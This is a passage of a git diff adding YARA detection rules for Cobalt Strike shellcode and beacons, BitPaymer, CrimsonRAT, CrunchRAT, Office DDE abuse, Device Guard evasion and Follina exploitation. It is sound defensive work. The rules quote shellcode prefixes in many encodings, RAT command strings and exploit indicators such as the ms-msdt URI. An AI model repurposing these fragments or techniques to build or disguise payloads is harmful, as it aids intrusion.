+    $h01 = { FC 00 48 00 83 00 E4 00 F0 00 E8 00 C8 00 00 00 00 00 00 00 41 00 51 00 41 00 50 00 52 00 51 00 56 00 48 00 31 00 D2 00 65 00 48 00 8B 00 52 }
+  condition:
+    uint32(@h01+0x01d5) == 0x07002600 and
+    uint32(@h01+0x0205) == 0xa7007900 and
+    uint32(@h01+0x0249) == 0xc6009f00 and
+    uint32(@h01+0x0287) == 0x3b002e00 and
+    uint32(@h01+0x02db) == 0x86009e00 and
+    uint32(@h01+0x030f) == 0x7b001800 and
+    uint32(@h01+0x0659) == 0x5600a200 and
+    uint32(@h01+0x0691) == 0xe5005300 and
+    uint32(@h01+0x06cd) == 0xe2008900
+}
+
+rule Cobaltbaltstrike_Payload_Encoded
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "b5176740-2dda-5e5d-8c0f-47a27846753d"
+  strings:
+    // x86 array
+    $s01 = "0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b" ascii wide nocase
+    $s02 = "0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b" ascii wide nocase
+    // x64 array
+    $s03 = "0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51" ascii wide nocase
+    $s04 = "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51" ascii wide nocase
+    // x86 hex
+    $s05 = "fce8890000006089e531d2648b52308b" ascii wide nocase
+    $s06 = "fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b" ascii wide nocase
+    // x64 hex
+    $s07 = "fc4883e4f0e8c8000000415141505251" ascii wide nocase
+    $s08 = "fc 48 83 e4 f0 e8 c8 00 00 00 41 51 41 50 52 51" ascii wide nocase
+    // x86 base64
+    $s09 = "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJX" ascii wide
+    // x64 base64
+    $s10 = "/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHA" ascii wide
+    // x86 base64 + xor 0x23
+    $s11 = "38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0" ascii wide
+    // x64 base64 + xor 0x23
+    $s12 = "32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLj" ascii wide
+    // x86 base64 utf16
+    $s13 = "/ADoAIkAAAAAAAAAYACJAOUAMQDSAGQAiwBSADAAiwBSAAwAiwBSABQAiwByACg" ascii wide
+    // x64 base64 utf16
+    $s14 = "/ABIAIMA5ADwAOgAyAAAAAAAAABBAFEAQQBQAFIAUQBWAEgAMQDSAGUASACLAFI" ascii wide
+    // x86 base64 + xor 0x23 utf16
+    $s15 = "3yPLI6ojIyMjIyMjQyOqI8YjEiPxI0cjqCNxIxMjqCNxIy8jqCNxIzcjqCNRIwsj" ascii wide
+    // x64 base64 + xor 0x23 utf16
+    $s16 = "3yNrI6AjxyPTI8sj6yMjIyMjIyNiI3IjYiNzI3EjciN1I2sjEiPxI0YjayOoI3Ej" ascii wide
+    // x86 vba
+    $s17 = "Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117" ascii wide
+    $s18 = "Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117" ascii wide
+    // x64 vba
+    $s19 = "Array(-4,72,-125,-28,-16,-24,-56,0,0,0,65,81,65,80,82,81" ascii wide
+    $s20 = "Array(-4, 72, -125, -28, -16, -24, -56, 0, 0, 0, 65, 81, 65, 80, 82, 81" ascii wide
+    // x86 vbs
+    $s21 = "Chr(-4)&Chr(-24)&Chr(-119)&Chr(0)&Chr(0)&Chr(0)&Chr(96)&Chr(-119)&Chr(-27)&\"1\"&Chr(-46)&\"d\"&Chr(-117)&\"R0\"&Chr(-117)" ascii wide
+    // x64 vbs
+    $s22 = "Chr(-4)&\"H\"&Chr(-125)&Chr(-28)&Chr(-16)&Chr(-24)&Chr(-56)&Chr(0)&Chr(0)&Chr(0)&\"AQAPRQVH" ascii wide
+    // x86 veil
+    $s23 = "\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b" ascii wide nocase
+    // x64 veil
+    $s24 = "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51" ascii wide nocase
+
+  condition:
+        any of them
+}
+
+rule Cobaltbaltstrike_strike_Payload_XORed
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "0e075644-e278-5c5b-bdcc-dc2d6a32ce73"
+  strings:
+    $h01 = { 10 ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? 61 61 61 61 }
+  condition:
+    //x86 payload
+    uint32be(@h01+8) ^ uint32be(@h01+16) == 0xFCE88900 or
+    //x64 payload
+    uint32be(@h01+8) ^ uint32be(@h01+16) == 0xFC4883E4 or
+    //x86 beacon
+    uint32be(@h01+8) ^ uint32be(@h01+16) == 0x4D5AE800 or
+    //x64 beacon
+    uint32be(@h01+8) ^ uint32be(@h01+16) == 0x4D5A4152 or
+    //NOP slide
+    uint32be(@h01+8) ^ uint32be(@h01+16) == 0x90909090
+}
+
+rule Cobaltbaltstrike_Beacon_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "6ffaafe6-2758-53e4-b5b8-6d8350baf428"
+  strings:
+    // x86 default MZ header
+    $h01 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 ?? ?? ?? ?? FF D3 68 }
+    // decoded config blob
+    $h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
+    // xored config blob v3
+    $h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
+    // xored config blob v4
+    $h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
+  condition:
+    $h01 and
+    any of ($h1*)
+}
+
+rule Cobaltbaltstrike_Beacon_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "5d6d86ec-9e05-5596-b623-30f44c6f44db"
+  strings:
+    // x64 default MZ header
+    $h01 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D EA FF FF FF 48 89 }
+    // decoded config blob
+    $h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
+    // xored config blob v3
+    $h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
+    // xored config blob v4
+    $h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }
+  condition:
+    $h01 and
+    any of ($h1*)
+}
+
+rule Cobaltbaltstrike_Beacon_Encoded
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "497e2a32-015a-5786-a6fa-de7084bfc389"
+  strings:
+    // x86 array
+    $s01 = "0x4d, 0x5a, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x89, 0xdf, 0x52, 0x45, 0x55, 0x89, 0xe5, 0x81" ascii wide nocase
+    $s02 = "0x4d,0x5a,0xe8,0x00,0x00,0x00,0x00,0x5b,0x89,0xdf,0x52,0x45,0x55,0x89,0xe5,0x81" ascii wide nocase
+    // x64 array
+    $s03 = "0x4d, 0x5a, 0x41, 0x52, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x20, 0x00, 0x00, 0x00, 0x48" ascii wide nocase
+    $s04 = "0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48" ascii wide nocase
+    // x86 hex
+    $s05 = "4d5ae8000000005b89df52455589e581" ascii wide nocase
+    $s06 = "4d 5a e8 00 00 00 00 5b 89 df 52 45 55 89 e5 81" ascii wide nocase
+    // x64 hex
+    $s07 = "4d5a4152554889e54881ec2000000048" ascii wide nocase
+    $s08 = "4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48" ascii wide nocase
+    // x86 base64
+    $s09 = "TVroAAAAAFuJ31JFVYnlg" ascii wide
+    // x64 base64
+    $s10 = "TVpBUlVIieVIgewgAAAAS" ascii wide
+    // x86 base64 + xor 0x23
+    $s11 = "bnnLIyMjI3iq/HFmdqrGo" ascii wide
+    // x64 base64 + xor 0x23
+    $s12 = "bnlicXZrqsZros8DIyMja" ascii wide
+    // x86 base64 utf16
+    $s13 = "TQBaAOgAAAAAAAAAAABbAIkA3wBSAEUAVQCJAOUAg" ascii wide
+    // x64 base64 utf16
+    $s14 = "TQBaAEEAUgBVAEgAiQDlAEgAgQDsACAAAAAAAAAAS" ascii wide
+    // x86 base64 + xor 0x23 utf16
+    $s15 = "biN5I2IjcSN2I2sjqiPGI2sjoiPPIwMjIyMjIyMja" ascii wide
+    // x64 base64 + xor 0x23 utf16
+    $s16 = "biN5I8sjIyMjIyMjIyN4I6oj/CNxI2YjdiOqI8Yjo" ascii wide
+    // x86 vba
+    $s17 = "Array(77,90,-24,0,0,0,0,91,-119,-33,82,69,85,-119,-27,-127" ascii wide
+    $s18 = "Array(77, 90, -24, 0, 0, 0, 0, 91, -119, -33, 82, 69, 85, -119, -27, -127" ascii wide
+    // x64 vba
+    $s19 = "Array(77,90,65,82,85,72,-119,-27,72,-127,-20,32,0,0,0,72" ascii wide
+    $s20 = "Array(77, 90, 65, 82, 85, 72, -119, -27, 72, -127, -20, 32, 0, 0, 0, 72" ascii wide
+    // x86 vbs
+    $s21 = "MZ\"&Chr(-27)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(91)&Chr(-119)&Chr(-33)&\"REU\"&Chr(-119)&Chr(-27)&Chr(-127)" ascii wide
+    // x64 vbs
+    $s22 = "MZARUH\"&Chr(-119)&Chr(-27)&\"H\"&Chr(-127)&Chr(-20)&Chr(32)&Chr(0)&Chr(0)&Chr(0)&\"H" ascii wide
+    // x86 veil
+    $s23 = "\\x4d\\x5a\\xe8\\x00\\x00\\x00\\x00\\x5b\\x89\\xdf\\x52\\x45\\x55\\x89\\xe5\\x81" ascii wide nocase
+    // x64 veil
+    $s24 = "\\x4d\\x5a\\x41\\x52\\x55\\x48\\x89\\xe5\\x48\\x81\\xec\\x20\\x00\\x00\\x00\\x48" ascii wide nocase
+  condition:
+        any of them
+}
+
+rule Cobaltbaltstrike_Beacon_XORed_x86
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "d93c20e6-3e01-5132-88a0-63ace507cae9"
+  strings:
+    // x86 xor decrypt loop
+        // 52 bytes variant
+        $h01 = { FC E8??000000 [0-32] EB27 ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31?? 89?? 31?? 83??04 83??04 31?? 39?? 7402 EBEA ?? FF?? E8D4FFFFFF }
+        // 56 bytes variant
+        $h02 = { FC E8??000000 [0-32] EB2B ?? 8B??00 83C504 8B??00 31?? 83C504 55 8B??00 31?? 89??00 31?? 83C504 83??04 31?? 39?? 7402 EBE8 ?? FF?? E8D0FFFFFF }
+    // end of xor decrypt loop
+        $h11 = { 7402 EB(E8|EA) ?? FF?? E8(D0|D4)FFFFFF }
+  condition:
+        any of ($h0*) and (
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5AE800 or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5AE8 or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
+        )
+}
+
+rule Cobaltbaltstrike_Beacon_XORed_x64
+{
+  meta:
+    author = "Avast Threat Intel Team"
+    description = "Detects CobaltStrike payloads"
+    reference = "https://github.com/avast/ioc"
+    id = "15be610a-7552-5473-8da2-639220313783"
+  strings:
+        // x64 xor decrypt loop
+    $h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2 895500 31D0 4883C504 83E904 31D2 39D1 7402 EBE7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
+    // end of xor decrypt loop
+        $h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }
+  condition:
+        $h01 and (
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5A4152 or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5A41 or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
+            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
+        )
+}
diff --git a/yara-Neo23x0/gen_crime_bitpaymer.yar b/yara-Neo23x0/gen_crime_bitpaymer.yar
new file mode 100644
index 0000000..7446f4a
--- /dev/null
+++ b/yara-Neo23x0/gen_crime_bitpaymer.yar
@@ -0,0 +1,12 @@
+rule BitPaymer {
+   meta:
+      description = "Rule to detect newer Bitpaymer samples. Rule is based on BitPaymer custom packer"
+      author = "Morphisec labs"
+      refrence = "http://blog.morphisec.com/bitpaymer-ransomware-with-new-custom-packer-framework"
+      id = "916de232-1f1b-5853-a57f-623812cfed16"
+   strings:
+      $opcodes1 = {B9 ?? 00 00 00 FF 14 0F B8 FF 00 00 00 C3 89 45 FC}
+      $opcodes2 = {61 55 FF 54 B7 01 B0 FF C9 C3 CC 89 45 FC}
+   condition:
+      (uint16 (0) == 0x5a4d) and ($opcodes1 or $opcodes2)
+}
diff --git a/yara-Neo23x0/gen_crimson_rat.yar b/yara-Neo23x0/gen_crimson_rat.yar
new file mode 100644
index 0000000..e944731
--- /dev/null
+++ b/yara-Neo23x0/gen_crimson_rat.yar
@@ -0,0 +1,42 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-06
+   Identifier: CrimsonRAT
+   Reference: Internal Research
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CrimsonRAT_Mar18_1 {
+   meta:
+      description = "Detects CrimsonRAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-03-06"
+      hash1 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
+      hash2 = "7ca6e5ef1d346ec35993c910128a3526b098a07445131784a9358bf5679e3975"
+      hash3 = "be4264973de9886caedae1cb707586588d0da85ac7a2ad277db4258033ea12a8"
+      hash4 = "acf2e8013b6fafcf436d5a05049896504ffa2e982bca05155d19981d1931c611"
+      hash5 = "ff52b4a64ed7caeab00350e493968dbdb159aeb545fcba67d83ab9b158464de4"
+      id = "af21876c-f99d-5307-abba-02c57ee93df0"
+   strings:
+      $x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|" wide
+      $x2 = "\\Release\\RTLBot.pdb" ascii
+      $x3 = "cmd.exe/c systeminfo >> 1.txt" fullword wide
+      $x4 = "/online >> Get online target with important info" fullword wide
+      $x5 = "/screen >> ScreenShot from target PC" fullword wide
+      $x6 = "/restart >> Restart Target PC" fullword wide
+      $x7 = "/log_key >> Get log key file" fullword wide
+
+      $a1 = "get_ShiftKey" fullword ascii
+      $a2 = "get_ControlKey" fullword ascii
+      $a3 = "get_AltKey" fullword ascii
+      $a4 = "get_MineInterval" fullword ascii
+
+      $fp1 = "Copyright Software Secure" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and ( 1 of ($x*) or all of ($a*) )
+      and not 1 of ($fp*)
+}
diff --git a/yara-Neo23x0/gen_crunchrat.yar b/yara-Neo23x0/gen_crunchrat.yar
new file mode 100644
index 0000000..da54c68
--- /dev/null
+++ b/yara-Neo23x0/gen_crunchrat.yar
@@ -0,0 +1,23 @@
+
+rule CrunchRAT {
+   meta:
+      description = "Detects CrunchRAT - file CrunchRAT.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/t3ntman/CrunchRAT"
+      date = "2017-11-03"
+      hash1 = "58a07e96497745b6fd5075d569f17b0254c3e50b0234744e0487f7c5dddf7161"
+      id = "da7d9b5c-6ccc-5960-9daa-4df612545751"
+   strings:
+      $x1 = "----CrunchRAT" fullword wide
+      $x2 = "\\Debug\\CrunchRAT" ascii
+      $x3 = "\\Release\\CrunchRAT" ascii
+
+      $s1 = "runCommand" fullword ascii
+      $s2 = "<action>download<action>" fullword wide
+      $s3 = "Content-Disposition: form-data; name=action" fullword wide
+      $s4 = "<action>upload<action>" fullword wide
+      $s5 = "/update.php" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($x*) and 3 of them )
+}
diff --git a/yara-Neo23x0/gen_dde_in_office_docs.yar b/yara-Neo23x0/gen_dde_in_office_docs.yar
new file mode 100644
index 0000000..b46b103
--- /dev/null
+++ b/yara-Neo23x0/gen_dde_in_office_docs.yar
@@ -0,0 +1,63 @@
+
+// YARA rules Office DDE
+// NVISO 2017/10/10 - 2017/10/12
+// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
+
+/* slowing down scanning
+rule Office_DDEAUTO_field {
+   meta:
+      description = "Detects DDE in MS Office documents"
+      author = "NVISO Labs"
+      reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+      date = "2017-10-12"
+      score = 60
+   strings:
+      $a = /<w:fldChar\s+?w:fldCharType="begin"\/>.{1,1000}?\b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]\b.{1,1000}?<w:fldChar\s+?w:fldCharType="end"\/>/
+   condition:
+      $a
+}
+
+rule Office_DDE_field {
+   meta:
+      description = "Detects DDE in MS Office documents"
+      author = "NVISO Labs"
+      reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+      date = "2017-10-12"
+      score = 40
+   strings:
+      $a = /<w:fldChar\s+?w:fldCharType="begin"\/>.+?\b[Dd][Dd][Ee]\b.+?<w:fldChar\s+?w:fldCharType="end"\/>/
+   condition:
+      $a
+}
+*/
+
+rule Office_OLE_DDEAUTO {
+   meta:
+      description = "Detects DDE in MS Office documents"
+      author = "NVISO Labs"
+      reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+      date = "2017-10-12"
+      score = 30
+      id = "2ead3cc9-f517-5916-93c9-1393362aa45d"
+   strings:
+      $a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase
+   condition:
+      uint32be(0) == 0xD0CF11E0 and $a
+}
+
+rule Office_OLE_DDE {
+   meta:
+      description = "Detects DDE in MS Office documents"
+      author = "NVISO Labs"
+      reference = "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+      date = "2017-10-12"
+      score = 50
+      id = "2ead3cc9-f517-5916-93c9-1393362aa45d"
+   strings:
+      $a = /\x13\s*DDE\b[^\x14]+/ nocase
+
+      $r1 = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }
+      $r2 = "Adobe ARM Installer"
+   condition:
+      uint32be(0) == 0xD0CF11E0 and $a and not 1 of ($r*)
+}
diff --git a/yara-Neo23x0/gen_deviceguard_evasion.yar b/yara-Neo23x0/gen_deviceguard_evasion.yar
new file mode 100644
index 0000000..35a6a6f
--- /dev/null
+++ b/yara-Neo23x0/gen_deviceguard_evasion.yar
@@ -0,0 +1,17 @@
+
+rule SUSP_DeviceGuard_WDS_Evasion {
+   meta:
+      author = "Florian Roth (Nextron Systems)"
+      description = "Detects WDS file used to circumvent Device Guard"
+      score = 70
+      date = "2015-01-01"
+      modified = "2023-01-06"
+      reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+      id = "469b60d4-43d3-5a85-aa51-e453d8c858c0"
+   strings:
+      $s1 = "r @$ip=@$t0" ascii
+      $s2 = ";eb @$t0+" ascii
+      $s3 = ".foreach /pS" ascii
+   condition:
+      filesize < 50KB and all of them
+}
diff --git a/yara-Neo23x0/gen_doc_follina.yar b/yara-Neo23x0/gen_doc_follina.yar
new file mode 100644
index 0000000..4db7442
--- /dev/null
+++ b/yara-Neo23x0/gen_doc_follina.yar
@@ -0,0 +1,257 @@
+rule SUSP_PS1_Msdt_Execution_May22 {
+   meta:
+      description = "Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation"
+      author = "Nasreddine Bencherchali, Christian Burkard"
+      date = "2022-05-31"
+      modified = "2022-07-08"
+      reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+      score = 75
+      id = "caa8a042-ffd4-52b2-a9f0-86e6c83a0aa3"
+   strings:
+      $a = "PCWDiagnostic" ascii wide fullword
+      $sa1 = "msdt.exe" ascii wide
+      $sa2 = "msdt " ascii wide
+      $sa3 = "ms-msdt" ascii wide
+
+      $sb1 = "/af " ascii wide
+      $sb2 = "-af " ascii wide
+      $sb3 = "IT_BrowseForFile=" ascii wide
+
+      /* OriginalFilename pcwrun.exe */
+      $fp1 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00
+               46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00
+               00 00 70 00 63 00 77 00 72 00 75 00 6E 00 2E 00
+               65 00 78 00 65 00 }
+      $fp2 = "FilesFullTrust" wide
+   condition:
+      filesize < 10MB
+      and $a
+      and 1 of ($sa*)
+      and 1 of ($sb*)
+      and not 1 of ($fp*)
+}
+
+rule SUSP_Doc_WordXMLRels_May22 {
+   meta:
+      description = "Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation"
+      author = "Tobias Michalski, Christian Burkard, Wojciech Cieslak"
+      date = "2022-05-30"
+      modified = "2022-06-20"
+      reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+      hash = "62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0"
+      score = 70
+      id = "304c4816-b2f6-5319-9fe9-8f74bdb82ad0"
+   strings:
+      $a1 = "<Relationships" ascii
+      $a2 = "TargetMode=\"External\"" ascii
+
+      $x1 = ".html!" ascii
+      $x2 = ".htm!" ascii
+      $x3 = "%2E%68%74%6D%6C%21" ascii /* encoded version of .html! */
+      $x4 = "%2E%68%74%6D%21" ascii /* encoded version of .htm! */
+   condition:
+      filesize < 50KB
+      and all of ($a*)
+      and 1 of ($x*)
+}
+
+rule SUSP_Doc_RTF_ExternalResource_May22 {
+   meta:
+      description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation"
+      author = "Tobias Michalski, Christian Burkard"
+      date = "2022-05-30"
+      modified = "2022-05-31"
+      reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+      score = 70
+      id = "71bb97e0-ec12-504c-a1f6-25039ac91c86"
+   strings:
+      $s1 = " LINK htmlfile \"http" ascii
+      $s2 = ".html!\" " ascii
+   condition:
+      uint32be(0) == 0x7B5C7274 and
+      filesize < 300KB and
+      all of them
+}
+
+rule EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22 {
+   meta:
+      description = "Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation"
+      author = "Tobias Michalski, Christian Burkard"
+      date = "2022-05-30"
+      modified = "2022-07-18"
+      reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+      hash1 = "4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784"
+      hash2 = "778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07"
+      score = 80
+      id = "62e67c25-a420-5dac-9d1c-b0648ea6b574"
+   strings:
+      $re1 = /location\.href\s{0,20}=\s{0,20}"ms-msdt:/
+      $a1 = "%6D%73%2D%6D%73%64%74%3A%2F" ascii /* URL encoded "ms-msdt:/" */
+   condition:
+      filesize > 3KB and
+      filesize < 100KB and
+      1 of them
+}
+
+rule SUSP_Doc_RTF_OLE2Link_Jun22 {
+   meta:
+      description = "Detects a suspicious pattern in RTF files which downloads external resources"
+      author = "Christian Burkard"
+      date = "2022-06-01"
+      reference = "Internal Research"
+      hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
+      score = 75
+      id = "e9c83d58-6214-51d5-882a-4bd2ed6acc9a"
+   strings:
+      $sa = "\\objdata" ascii nocase
+
+      $sb1 = "4f4c45324c696e6b" ascii /* OLE2Link */
+      $sb2 = "4F4C45324C696E6B" ascii
+
+      $sc1 = "d0cf11e0a1b11ae1" ascii /* docfile magic - doc file albilae */
+      $sc2 = "D0CF11E0A1B11AE1" ascii
+
+      $x1 = "68007400740070003a002f002f00" ascii /* http:// */
+      $x2 = "68007400740070003A002F002F00" ascii
+      $x3 = "680074007400700073003a002f002f00" ascii /* https:// */
+      $x4 = "680074007400700073003A002F002F00" ascii
+      $x5 = "6600740070003a002f002f00" ascii /* ftp:// */
+      $x6 = "6600740070003A002F002F00" ascii
+      /* TODO: more protocols */
+   condition:
+      ( uint32be(0) == 0x7B5C7274 or uint32be(0) == 0x7B5C2A5C ) /* RTF */
+      and $sa
+      and 1 of ($sb*)
+      and 1 of ($sc*)
+      and 1 of ($x*)
+}
+
+rule SUSP_Doc_RTF_OLE2Link_EMAIL_Jun22 {
+   meta:
+      description = "Detects a suspicious pattern in RTF files which downloads external resources inside e-mail attachments"
+      author = "Christian Burkard"
+      date = "2022-06-01"
+      reference = "Internal Research"
+      hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
+      score = 75
+      id = "48cde505-3ce4-52ef-b338-0c08ac4f63de"
+   strings:
+      /* \objdata" */
+      $sa1 = "XG9iamRhdG" ascii
+      $sa2 = "xvYmpkYXRh" ascii
+      $sa3 = "cb2JqZGF0Y" ascii
+
+      /* OLE2Link */
+      $sb1 = "NGY0YzQ1MzI0YzY5NmU2Y" ascii
+      $sb2 = "RmNGM0NTMyNGM2OTZlNm" ascii
+      $sb3 = "0ZjRjNDUzMjRjNjk2ZTZi" ascii
+      $sb4 = "NEY0QzQ1MzI0QzY5NkU2Q" ascii
+      $sb5 = "RGNEM0NTMyNEM2OTZFNk" ascii
+      $sb6 = "0RjRDNDUzMjRDNjk2RTZC" ascii
+
+      /* docfile magic - doc file albilae */
+      $sc1 = "ZDBjZjExZTBhMWIxMWFlM" ascii
+      $sc2 = "QwY2YxMWUwYTFiMTFhZT" ascii
+      $sc3 = "kMGNmMTFlMGExYjExYWUx" ascii
+      $sc4 = "RDBDRjExRTBBMUIxMUFFM" ascii
+      $sc5 = "QwQ0YxMUUwQTFCMTFBRT" ascii
+      $sc6 = "EMENGMTFFMEExQjExQUUx" ascii
+
+      /* http:// */
+      $x1 = "NjgwMDc0MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
+      $x2 = "Y4MDA3NDAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
+      $x3 = "2ODAwNzQwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
+      $x4 = "NjgwMDc0MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
+      $x5 = "Y4MDA3NDAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
+      $x6 = "2ODAwNzQwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
+      /* https:// */
+      $x7 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzYTAwMmYwMDJmMD" ascii
+      $x8 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM2EwMDJmMDAyZjAw" ascii
+      $x9 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNhMDAyZjAwMmYwM" ascii
+      $x10 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzQTAwMkYwMDJGMD" ascii
+      $x11 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM0EwMDJGMDAyRjAw" ascii
+      $x12 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNBMDAyRjAwMkYwM" ascii
+      /* ftp:// */
+      $x13 = "NjYwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
+      $x14 = "Y2MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
+      $x15 = "2NjAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
+      $x16 = "NjYwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
+      $x17 = "Y2MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
